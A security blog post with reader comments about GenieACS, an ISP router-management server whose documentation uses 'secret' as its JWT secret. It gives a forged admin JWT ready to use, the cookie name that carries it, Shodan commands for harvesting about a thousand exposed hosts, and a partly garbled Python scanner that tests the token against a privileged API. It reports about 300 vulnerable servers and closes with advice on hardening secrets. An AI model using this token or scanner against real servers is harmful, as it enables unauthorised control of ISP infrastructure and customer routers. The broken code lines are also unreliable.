GenieACS And The Tale Of Default JWT Secret


So i was scouring shodan the other day and found this interesting piece of software called GenieACS, now GenieACS is a “Auto Configuration Server” for TR-069 enabled routers and similar devices, what this ACS server does is that it enables the ISP to perform firmware upgrades or change the wifi password remotely(among other things).
Routers are configured with a ACS server url and a user-pass combo to authenticate itself against the ACS, the router then periodically checks into the ACS using the TR-069 protocl (which is basically a XML API over HTTP) and then download and applies any configuration changes indicated by the ACS. ACS servers are fairly common among ISPs and other sufficient large network operators. GenieACS is also a opesource solution, so kudos to that.

The Problem:

Once i discovered GenieACS, i naturally started browsing its installation and configuration instructions to find its default credentials, instead i come across something very interesting…

now i started wondering how many might have actually bothered to change that, well how many installing GenieACS might actually know what jwt is ? (not everyone is a programmer).
If anyone is using “secret” as the secret (duh!), we should be able to create a jwt token, sign it and then use this token to log into GenieACS.

Lets find out how many made that mistake.

Before go any further lets take a look at the jwt token format that GenieACS uses.
The Token must contain the following data:
{ "username": "admin", "authMethod": "local", "iat": 1782574412 }

I discovered the format by installing GenieACS locally, logging in and then extracting and analyzing the jwt token it stored in the browser

The following is a signed token with expiry set to a few years in the future:


you can visualize it using

All one needs to do, to gain access to a instance using “secret” as its secret, is to set a cookie named genieacs-ui-jwt, with its value being the jwt token we justed cooked up.

Once the cookie is set, on refreshing the page we should be presented with the dashboard.

Finding Exposed Instances

So lets use shodan to see how widespread this issue is, we’ll use the query http.html:"GenieACS"

looks like we have quite a few.

  • Lets quickly grab those addresses using shodan cli
    shodan search 'http.html:"genieacs"' --limit 1000 > raw

  • Clean the data to obatin only ip addresses and ports
    cat raw| cut -f1,2 > ip.txt

We will now build a python script to verify the misconfiguration.

Scanning For The Misconfiguration

We’ll use the following script to get our job done. (it’ll need the ip.txt file we created earlier)

The script basically does the following:

  • Use the jwt token and visit a privileged api endpoint, if we get a 200 status code we know the
    server is misconfigured.
  • It also verifies whether the server uses TLS and adjusts the url accordingly.
import requests
import urllib3
import threading


cookies = {
    'genieacs-ui-jwt': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c',

headers = {
    'Accept': 'application/json, text/*',
    'Accept-Language': 'en-US,en',
    'Connection': 'keep-alive'

def check_host(url):
        response = requests.get(url+'/api/presets/?filter=true', cookies=cookies,headers=headers, verify=False)
        if response.status_code==200:
            print("[+] ",url)

def const_url(ip,port):
            res = requests.get("http://"+ip+":"+port,timeout=5)
            url = "http://"+ip+":"+port
            return url
            #its https , we sent http request to https port
            url = "https://"+ip+":"+port
            return url
            url = "http://"+ip+":"+port
            return url
        url = "https://"+ip+":"+port
        return url

def check_misconf(ip,port):

with open('ip.txt') as infile:
    for line in infile:
            ip,port = str(line).split()
            thread  = threading.Thread(target=check_misconf,args=(ip,str(port)))

We now run python3 > found.txt.


We had about a thousand addresses which we obtained from shodan

Our Script found around 300 servers which used “secret” as the secret

Now thats about 30% of the instances that we analyzed.


  1. People install sofware with their eyes closed, they love copy pasting random commands.
    In the case of GenieACS had their documentation said

    Run this command to Setup genie :
    genieacs-ui --ui-jwt-secret $(head -10 /dev/random|md5sum)

    Instead of

    genieacs-ui --ui-jwt-secret secret

    The fate we saw above could be avaoided.

  2. Write documentation carefully, account for the ingenuity of the stupid.

  3. Change default secrets/credentials even if you dont know what you’re doing, ALWAYS!!!

Further Reading

  1. Hardcoded secrets, unverified tokens, and other common JWT mistakes

Great post! Looking forward to more in the future.

1 Like

This was an awesome bite sized post! As I am interested in web exploitation (and just general web development), this was a great find.

1 Like

This was very interesting! Nice research, thanks for sharing it!

1 Like

Default creds in JWT’s are very commen just like all other credentials. I was reading another blog post and the vendor had used ‘secret’ and ‘verysecret’.

1 Like

yes, but not everyone treats them as such, its like “My MySQL DB’s password is root but so what its not like i’m exposing it to the internet.”, JWT doesn’t immediately come off as something that you use to log into a system (for a average user) hence the negligence.

The whole thing about not using default passwords for internet facing devices took a while to seep into everyone’s head, i wonder how long it would take to understand the JWT situation.

1 Like

This is pretty awesome. Happy to see someone doing SDR aka “shodan driven research” as I like to call it :slight_smile: Again, pretty dope finding.

1 Like

Agreed shodan is such a great service, especially when it comes to proving a point.